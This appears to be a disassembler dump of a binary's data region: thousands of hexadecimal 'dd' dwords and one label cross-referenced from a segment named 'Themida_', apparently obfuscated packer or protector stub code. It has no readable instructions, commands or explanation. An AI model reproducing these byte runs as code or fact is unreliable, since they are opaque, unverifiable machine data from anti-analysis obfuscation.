		dd 11A0B9Ch, 9050510Ch,	6AF78B66h, 0D19D8900h, 6A061416h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 24311123h, 8DD3876Bh, 17DA9A85h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 0F2A002DEh, 89A344E5h, 5C08390h, 4DBE6690h, 5E950A2h
		dd 0BE000000h, 0FA68F091h, 0B1B58990h, 6A061414h, 6A006A00h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 202CC356h, 23C01AAh, 0F59D6146h, 8E8h, 77A7BB00h
		dd 58196715h, 4BEF8197h, 5E0AB3F2h, 1A7195FFh, 6A0614h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 660C85C3h, 8D2540BEh, 17A8FC9Dh, 0B59D8906h,	0FF06141Fh
		dd 53006AD3h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 58E6E93Ah, 236D85FFh, 12E90614h,	0A2000000h
		dd 756E6F8Fh, 7426501Dh, 0FCED3927h, 38CD7180h,	85EE99Ch
		dd 0E80000h, 5D000000h,	0DAA4ED81h, 6A0617h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 4E1C01C3h
		dd 0FF59CD98h, 1A95B58Bh, 0BD810614h, 6141AA5h,	7D0h, 11E860Fh
		dd 8B660000h, 25BD89F0h, 8B06140Eh, 1405319Dh, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 4787CF3Bh, 0DA006866h, 0E3813Eh, 8B000001h, 143431BDh
		dd 0B98D0106h, 0B06142Fh, 0AC850FDBh, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 0CE52C352h, 0A59968E5h, 625DE451h, 344DB58Bh, 0BD830614h
		dd 617D8E7h, 17840F00h,	89000000h, 1423D19Dh, 76E906h
		dd 8A0F0000h, 6, 23019529h, 85C70614h, 617D8E7h, 1, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0C1C35646h, 240A965Ah
		dd 251DB58Bh, 8B660614h, 32E9F2h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 23B902C3h
		dd 97E681FEh, 0C759C0C6h, 17D8E785h, 6,	0F98B6600h, 5319D8Dh
		dd 880F0614h, 0
		dd 0FEFF2381h, 0B523FFFFh, 61418C1h, 6ADB8C66h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 3F63C350h, 8B668907h, 4C3F6F3h, 3B840Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 0FFD0A3C3h, 8BB5A850h, 140689BDh, 4595FF06h,	6606142Eh
		dd 0FEDEEF81h, 0B905090h, 142465B5h, 49FE906h, 0B58B0000h
		dd 6141C69h, 6A00B0h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 806051C3h, 0A50460F5h, 21E781DEh
		dd 8B40FD18h, 6A70E6F0h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 0CA82C351h,	0D1E6E05Eh
		dd 399589D1h, 0E4061425h, 19858971h, 0F06140Ah,	0DE9D8B6h
		dd 4D000000h, 0B590EA08h, 52F46208h, 9D6D63AFh,	6BAh, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 8BFC4344h, 141671B5h, 6AC38B06h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 22E6C355h
		dd 74FD94Bh, 9B7AB819h,	0CE9h, 0D7179C00h, 0C9AE829Eh
		dd 9B5CB4ADh, 4E8C1C2h,	66F9B70Fh, 860FE2F7h, 5, 0C8AE90BFh
		dd 6AD82B75h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 0E1EFC357h, 14918589h,	0B58B0614h
		dd 6142C5Dh, 241C8950h,	0FEDF47BFh, 9DB58B49h, 0FF061420h
		dd 141AA5B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 0DE6FBFDDh, 91952901h, 0E9061411h
		dd 12h,	1E559D01h, 26D4BA62h, 6ECBE2C0h, 0B64BC119h, 95FFE195h
		dd 6141169h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	39C35242h, 0D9374A93h, 2919D413h, 142211B5h, 900B006h
		dd 1423058Dh, 8B70E606h, 8B71E4F8h, 141149B5h, 0F613C06h
		dd 2E883h, 10E800h
		db 0
byte_586A09	db 0, 52h, 9Ch		; DATA XREF: Themida_:0054AFCCo
		dd 0BC9634E0h, 9D67C918h, 0F44D8CEBh, 0BD8BD5D7h, 6140EF9h
		dd 6E85Eh, 0BA550000h, 0F3213FEDh, 0D8B60F5Eh, 13E9h, 2E251E00h
		dd 6E188B7Bh, 0C30D0488h, 69D3AE2Ch, 0E9EF4973h, 6BAh
		dd 0BE800h, 53E80000h, 37195C12h, 705119DEh, 0CE816666h
		dd 8B5F884Bh, 998FBFC3h, 0E8C128F5h, 0A1B58B04h, 6606141Dh
		dd 6AE2F7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 962ADCC3h, 0F11AE1Ah, 687h, 8D8D8900h, 2B06140Dh
		dd 51006AD8h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 522CC7CFh, 8531F3D7h, 61418F9h, 52006A58h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 9410ACECh, 0EE9h, 35354900h,	0E326C949h, 9AA01AC8h
		dd 0BE0231C7h, 74D6859Eh, 880FD82Bh, 1E1h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 35C35343h, 2D929501h
		dd 0BEBD299Dh, 77748762h, 7B9h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 89B58B73h
		dd 83061422h, 0BD0300C1h, 6142E81h, 860FD93Bh, 181h, 8BD98C66h
		dd 1402DDBDh, 0ADB58B06h, 0F6061419h, 840F04C1h, 129h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 48C35646h
		dd 7202708Dh, 0C68166D0h, 0BD89B271h, 6142351h,	2E4595FFh
		dd 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 60447AC3h, 6810Fh, 840F0000h, 0
		dd 93DBD23h, 5B610614h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 95C35545h, 297F1822h,	1406719Dh, 6AC32B06h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 4BD5C356h, 0A2421BFAh, 554B9EDEh,	14ED9D09h
		dd 81660614h, 3D4A32CEh, 834h, 63860Fh,	6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 595F01C3h, 4D80C8B9h, 897EC520h, 1418C5BDh, 73E906h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0B7910FC3h, 0F158DB7h, 0C84h, 7E900h, 3B510000h
		dd 0BC50F30Ch, 6AC08BB2h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0CC81C352h,	9D41320Ah
		dd 0E9127515h, 0Ah, 0EB63AD3Eh,	0A36B7DAh, 860FC8C4h, 5
		dd 0BCD68166h, 8BC38B15h, 35B503D8h, 0C706140Ch, 141B7585h
		dd 7EE5BB06h, 9E93Ah, 0CA860000h, 0CF8E44FAh, 8B98E090h
		dd 56006AC0h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 0F0BEC122h, 0E908579Fh, 14h, 86FD9ABh, 6F4ADB3Ch
		dd 9F3EF773h, 0FF2529D5h, 0F755AC9Fh, 1AA5BD81h, 7D00614h
		dd 850F0000h, 0Eh, 0FFF6B70Fh, 141AA585h, 6E32BF06h, 0B5FF55A7h
		dd 6141AA5h, 116995FFh,	6A0614h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 9D84F6C3h, 6D96B73Ah
		dd 667FE8B2h, 90F696BFh, 14E8h,	0BC494E00h, 0CA84F5h, 521DAFECh
		dd 5A99179Eh, 12AF5BBEh, 8ABF6620h, 5E81Eh, 996A0000h
		dd 29CB5E37h, 141CFDBDh, 8B5E5E06h, 52006AFEh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 1DBD33AFh
		dd 8B061420h, 143501BDh, 5D952906h, 0F061422h, 3581h, 0FE800h
		dd 40880000h, 0E7641522h, 8F4A7B3Fh, 93CF8787h,	6E980h
		dd 9C0E0000h, 17E9ADDCh, 10E9h,	89B81E00h, 9228A9EFh, 0EC3681C2h
		dd 8A147985h, 0E6815E19h, 0D811100h, 47C08160h,	5366695Ah
		dd 820Fh, 61600000h, 0F18B615Fh, 0E857006Ah, 3,	5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 0C1C35747h,	0DF3750B4h, 3029C6CDh
		dd 0BD33F78Bh, 6140D4Dh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 17h, 73C35545h, 0E9CA4233h, 0Ah, 0BE9DA013h
		dd 0F5790434h, 0EE8029Fh, 3B000000h, 733714A4h,	6051E9DFh
		dd 460F580h, 8D8951A5h,	614217Dh, 9D89565Eh, 6143455h
		dd 0A7E95E5Eh, 0BFFFFFF7h, 75B450F6h, 6AC18Bh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 0DEEB37C3h, 4EBh, 8E0F0000h,	6, 830Fh, 95890000h, 6142D65h
		dd 0A0A9BE52h, 8D5E0960h, 140F9985h, 52F28B06h,	0B1A0BE66h
		dd 0E960905Eh, 14h, 4A7DA828h, 0F7F3C1F1h, 3244EEBEh, 8B181ECBh
		dd 30907F67h, 28C0Fh, 61600000h, 33905061h, 141A5DBDh
		dd 60006A06h, 25C58529h, 0BF0F0614h, 6A61D9h, 0A29B589h
		dd 858D0614h, 617E493h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 0FAC35747h, 2D3D8CBBh, 0F854B6Eh, 688h
		dd 71858900h, 0E9061430h, 12h, 44CA1022h, 627C48DEh, 70DB12A0h
		dd 34796580h, 0C08376F9h, 71BD0105h, 90061423h,	0EE9h
		dd 58CC8F00h, 0C694F390h, 6B4D2DC2h, 50F55CCEh,	55006A90h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 6EAC22A1h, 6A5287B4h, 6E900h, 0FC800000h, 3CB1C6A5h
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 37D7B6C3h, 898E7EDCh, 142585B5h, 7195FF06h
		dd 8B06141Ah, 0FC9D8DF1h, 8B0617A8h, 141191BDh,	0F8D3FF06h
		dd 236D85FFh, 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 5B0605C3h, 8AD98C17h, 2BB5B58Bh
		dd 2CE90614h, 0E8000008h, 0
		dd 9DED815Dh, 6A0617E4h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 2817C355h, 2ABEC0E0h
		dd 81113159h, 141AA5BDh, 7D006h, 5860F00h, 6A000001h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 3845C352h, 0BD235724h, 6142301h, 0C99D8B5Eh,	8B06141Ah
		dd 1406EDBDh, 0E38106h,	0B000001h, 74850FDBh, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 89E6C352h, 0D78166FDh, 0BD83D66Dh, 617E31Fh
		dd 23840F00h, 0E9000000h, 13h, 0F27B4742h, 37036C3Eh, 0E67CAC98h
		dd 9CA1BC35h, 0E994F719h, 37h, 1165B52Bh, 85C70614h, 617E31Fh
		dd 1, 810Fh, 1CE90000h,	8B000000h, 0C9B460F8h, 1B798D89h
		dd 0C7610614h, 17E31F85h, 6, 41BD2300h,	8D061409h, 141AC99Dh
		dd 9E906h, 0DB320000h, 0B7D1B450h, 81AFA577h, 0FFFEFF23h
		dd 52006AFFh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 0EFF2B25Fh, 76588218h, 0F88B664Dh, 6ADB8C66h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0AE12C353h, 0C48D54D9h, 0C3F6AAC5h, 5D840F04h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 71BC350h, 0AFBA1D5h, 0BD8B2517h
		dd 61423BDh, 157D8D29h,	95FF0614h, 6142E45h, 2625BD8Bh
		dd 89500614h, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 397D51C3h, 40DE9h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
		dd 391406B4h, 85A922CCh, 0BD8B00B0h, 61400ADh, 0E68170E6h
		dd 9983FA7h, 0BF6671E4h, 0B60F60FEh, 50006AD8h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 0E58D294Ch
		dd 0F5061423h, 6BAh, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 748646E1h, 0F727BC7h
		dd 11870F53h, 0E9000000h, 0Ch, 0FBDB3B86h, 1F0601D4h, 76AB46DCh
		dd 0FC38B5Eh, 187h, 0E8C1FC00h,	6E904h,	8AA0000h, 5CD4E811h
		dd 6AE2F766h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 0F6B9C350h, 28029682h,	0E46D4825h
		dd 94DB523h, 0D82B0614h, 20FDB533h, 8B500614h, 241C89F7h
		dd 0D158529h, 0CE90614h, 0D7000000h, 936610CEh,	127E98C9h
		dd 0FF2F0F99h, 141AA5B5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 0BA6C47ADh
		dd 66D33BBEh, 6B66DF81h, 116995FFh, 6A0614h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0BDC796C3h
		dd 0F00B0B8h, 1A8Fh, 3BB46000h,	11E9h, 4B8D6500h, 0DA395AD2h
		dd 0B3CDFA8Dh, 0B03B65CAh, 0E661D74Bh, 56006A70h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
		dd 6DEA4F06h, 5EA584BEh, 0BD8BC9A9h, 6140FE5h, 7FBF71E4h
		dd 3C557EF5h, 53830F61h, 0BF000002h, 53BBA622h,	0E9D8B60Fh
		dd 0Ch,	0B4B564B3h, 75ACBFA4h, 42BFDA23h, 6BAh,	68BE6600h
		dd 6AC38B27h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 0BFDDC350h, 592F6521h,	6A04E8C1h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 801EC352h, 9217B1C3h, 29A19589h, 0F7660614h
		dd 6AD82BE2h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 20F9C356h, 58095FF1h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 8EC35747h, 0FDED0BCh
		dd 68Bh, 0E19D8900h, 29061420h,	14221DBDh, 0FD82B06h, 18588h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 6E87Bh, 22E20000h, 5B66C8EFh, 0E966D681h
		dd 0B95F7993h, 7, 3101B58Bh, 0C1830614h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
		dd 5F5DDB85h, 413953C5h, 0D93BF55Ah, 11C860Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0DA57D1C3h, 25CD9D31h, 8C660614h, 4DBD89D9h,	0F606141Bh
		dd 840F04C1h, 0DEh, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 1AC35545h, 0B32EBE29h, 0BD29069Fh, 6140F4Dh
		dd 2E4595FFh, 0F28B0614h, 13E860h, 3850000h, 7FA6BF5Eh
		dd 6ED57299h, 1ED247C3h, 0B1C2E2C1h, 0BD9D31E0h, 5806141Fh
		dd 10D28166h, 895B61D0h, 142E41BDh, 6AC32B06h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0D657C351h, 862BAC35h, 78802DC7h, 8343Dh, 4F860F00h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 3B8C352h, 8B106163h, 14223DB5h
		dd 2CE906h, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 1C0424h, 50400000h, 0E4D73DC3h, 447A338Bh, 0C08B990Eh
		dd 2ADB58Bh, 0C38B0614h, 0B58BD88Bh, 6140BE1h, 53185C7h
		dd 1B510614h, 840F564Fh, 6, 2B1DB58Bh, 0C08B0614h, 3C5BD8Bh
		dd 0BD810614h, 6141AA5h, 7D0h, 3D850Fh,	890F0000h, 6, 22E5B58Bh
		dd 85FF0614h, 6141AA5h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 0EAC35040h, 0EF5841C7h, 205FD20Eh, 0D58D8927h
		dd 0FF061422h, 141AA5B5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 90D17753h
		dd 8B604672h, 14307D8Dh, 13E806h, 18010000h, 0E1D41B14h
		dd 7F1D2A2Dh, 0DC0E11B6h, 0FC3227E7h, 0DF81667Fh, 615FA1E3h
		dd 116995FFh, 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 0A18952C3h, 0B58B2567h, 6142C91h
		dd 0A890F90h, 0F000000h, 489h, 0E2BE6600h, 0ADBD8B5Bh
		dd 8B061402h, 142EADBDh, 418D8906h, 8B061423h, 140361BDh
		dd 0D9D0106h, 29061414h, 14114D9Dh, 2DB58906h, 66061408h
		dd 0E97C0ABFh, 10h, 3FCC0419h, 1B568236h, 252F5B3Eh, 5A1EBDE5h
		dd 0EBE68166h, 31B58B05h, 0F906141Ch, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 1BC35242h, 5B6F6265h, 538C860Eh
		dd 10D5BD8Bh, 0BD8B0614h, 614095Dh, 10E95Fh, 41A10000h
		dd 0EF95CF2h, 0CFA6CF74h, 0D1C8A0B8h, 6A1DE3h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0C5BD02C3h, 932F3949h, 89D585E0h, 143041B5h,	5BD2B06h
		dd 0FC061423h, 2E95BD2Bh, 8B660614h, 0BD9589F8h, 6A061412h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 4FCCC353h, 0D084CBD0h, 0DE681D6h,	0E91FE57Ah
		dd 0Bh,	9EEFA82Ah, 3F8876Ah, 0E9DAC823h, 0FFFFF80Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 20C35646h, 979F3011h,	9D9589B1h, 8906142Ah
		dd 1425B58Dh, 74BE6606h, 0DD9D3135h, 8B061414h,	0EABE66C1h
		dd 4EB33h, 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 89FBC355h, 142EC19Dh, 7E806h
		dd 0C4150000h, 0FF2D348Dh, 0A59589D7h, 5E061419h, 0BEDB58Bh
		dd 820F0614h, 6, 0B1D0D781h, 858D60C7h,	6140F99h, 1853150h
		dd 5F06140Fh, 21318589h, 66500614h, 489FE8Bh, 97BE6624h
		dd 0FC006A68h, 6A006Ah,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 0E90ED4C3h, 20B98D89h, 858D0614h
		dd 617EE8Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	0F5C35545h, 0F19D01D3h,	83061420h, 6A05C0h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 0B09276C3h, 7E958h, 526E0000h, 75A310B1h, 68E0F30h
		dd 8B000000h, 142FA5B5h, 0FB8B9006h, 8B665250h,	0F905FF0h
		dd 6AF6BFh, 9D8BF960h, 61423E5h, 0E8006A61h, 0Fh, 622DE9B3h
		dd 0D12F8727h, 12AE5DF8h, 66434EE9h, 0FF5FF38Bh, 141A7195h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 2942A032h, 8B666FD4h, 0FC9D8DF1h, 6A0617A8h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0AB7DC355h, 0D3FFA507h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 30C35040h, 6F3A2522h, 86B09EBFh
		dd 0AE948h, 0EF620000h,	3BC4F88h, 7EB79247h, 1695BD89h
		dd 85FF0614h, 614236Dh,	4820Fh,	0BE660000h, 6FE9F079h
		dd 0E8000009h, 0
		dd 99ED815Dh, 6A0617EEh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 5DA2C351h, 426FB3C0h
		dd 66F589AEh, 0BD81F38Bh, 6141AA5h, 7D0h, 115860Fh, 81660000h
		dd 8B35B1C7h, 140E2D9Dh, 0E38106h, 89000001h, 140655B5h
		dd 0FDB0B06h, 5185h, 0FE8B6600h, 0ECCCBD83h, 0F000617h
		dd 884h, 69E900h, 0BF0F0000h, 0CC85C7F8h, 10617ECh, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 4EC355h, 95B58B40h, 0E906142Ah, 33h, 1AC1B58Bh
		dd 85C70614h, 617ECCCh,	0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0BAC35747h
		dd 0A4F41CA7h, 8D2FC4FFh, 140E2D9Dh, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 23E0C1ACh
		dd 9D09AC57h, 6140361h,	0CE8h, 9570F600h, 0C864287Bh, 9C6EA445h
		dd 8985293Ch, 5E06141Ah, 6860Fh, 0BD8B0000h, 6142121h
		dd 0FEFF2381h, 0CE81FFFFh, 5640F6E1h, 7E860h, 0E6300000h
		dd 7870FE1h, 39BD8901h,	5B06140Ch, 257D9D89h, 66610614h
		dd 6ADB8Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 0E93107C3h, 8, 4D60347Ah,	0F8645880h, 0F04C3F6h
		dd 8784h, 0B9666000h, 858B668Bh, 61422E5h, 4595FF61h, 6A06142Eh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 9122C352h, 1637410Ch, 0BE677D9Fh,	2A94B26Bh
		dd 0BE525090h, 436AE186h, 5250310Fh, 310F5250h,	310F585Ah
		dd 585A585Ah, 0CE950h, 40CC0000h, 52853746h, 310E8C16h
		dd 6A90AE8Bh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 537CC351h, 73830906h, 52EE9h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 0A8262CFBh, 2D285ABBh, 2615B58Bh, 0B00614h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0CBC35242h
		dd 8E9h, 0CF26AD00h, 5B9EEE38h,	6A70E64Fh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0BC7C356h
		dd 1430E1B5h, 6880F06h,	29000000h, 143161B5h, 0E971E406h
		dd 12h,	8184DA46h, 8672D060h, 29E138F8h, 93EDC6C9h, 958952BEh
		dd 6140251h, 6AD8B60Fh,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0FBCC357h, 68Bh, 85BD0B00h
		dd 0BA061410h, 6, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	79C35646h, 8B74D480h, 50006AC3h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0BE666F9Bh
		dd 0E8C1927Fh, 53006A04h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 160EBD1h, 14347D9Dh, 0E2F76606h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 9FC35747h
		dd 0BE8h, 7591BD00h, 88BF6076h,	0CD90123Fh, 6E8h, 0E7F68400h
		dd 0B5A2D11h, 140319B5h, 815F5E06h, 4C2C2CFh, 6AD82B41h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 1EF5C355h, 459A2E82h, 0F78B667Eh,	52506093h
		dd 310F6160h, 13E9h, 81826300h,	22255AF6h, 0EE4B1908h
		dd 411CC24Fh, 5482FC27h, 0B966585Ah, 50611914h,	6A93F78Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 24F7C355h, 7B6EDDE1h, 0CE815156h,	50DF17F1h
		dd 0B5FF5E5Fh, 6141AA5h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 16h, 0AC35343h, 0BE9F9ECh,	11000000h, 8575461Eh
		dd 0A8383968h, 12E935EDh, 0FB000000h, 0FD111786h, 0A43F4A8Bh
		dd 0FD62118h, 0D1D8DA22h, 6995FF53h, 81061411h,	374CD9F6h
		dd 6A00B068h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 0B5F3C356h, 0BE660FE9h, 70E660FFh
		dd 61148DBEh, 8B71E40Eh, 14100DB5h, 0F613C06h, 29A83h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 7E651F65h, 51887155h, 0B70F60F1h, 0EAF681DEh
		dd 611FE8F4h, 6AD8B60Fh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 92C1C350h, 6BAA1h
		dd 85890000h, 6142215h,	6AC38Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 0C2E5E8C3h, 2AA6C04Ah
		dd 0B58B0E58h, 6140081h, 6A04E8C1h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 9EA0C352h
		dd 669CB995h, 6AE2F7h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 9D89FDC3h, 61409F9h, 0BD0BD82Bh
		dd 6141A31h, 0E898589h,	0F9580614h, 880FD82Bh, 1B3h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0D1C35242h, 2B0D9529h
		dd 7B90614h, 66000000h,	0C183FB8Bh, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 89268BC9h
		dd 142BD5BDh, 0B5BD8B06h, 3B061409h, 54860FD9h,	0F000001h
		dd 685h, 9D950100h, 66061431h, 5E9D98Ch, 0FF000000h, 0CD36B090h
		dd 0C1F65F51h, 0F840F04h, 6A000001h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 0B7B8C350h
		dd 890DD204h, 140B798Dh, 95FFF806h, 6142E45h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 5AC35242h, 0D3F37D93h
		dd 0BE8601Ch, 48000000h, 21F5C3A4h, 5152CEC9h, 9D895AFBh
		dd 61416DDh, 6A5B5Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 0BD8BAFC3h, 61409A9h, 6AC32BF5h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 0B6DDC350h, 2E1F48A7h, 8343Dh, 57860F00h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 3928C353h, 0B4908378h,	0E95EAE91h
		dd 4Fh,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h
		dd 0C0C35040h, 13F8F7DDh, 8E9C5h, 0B9D60000h, 945FA69Fh
		dd 0C08BA712h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	0B6C35545h, 8BDC37D7h, 6AD88BC3h, 3E85600h, 20000000h
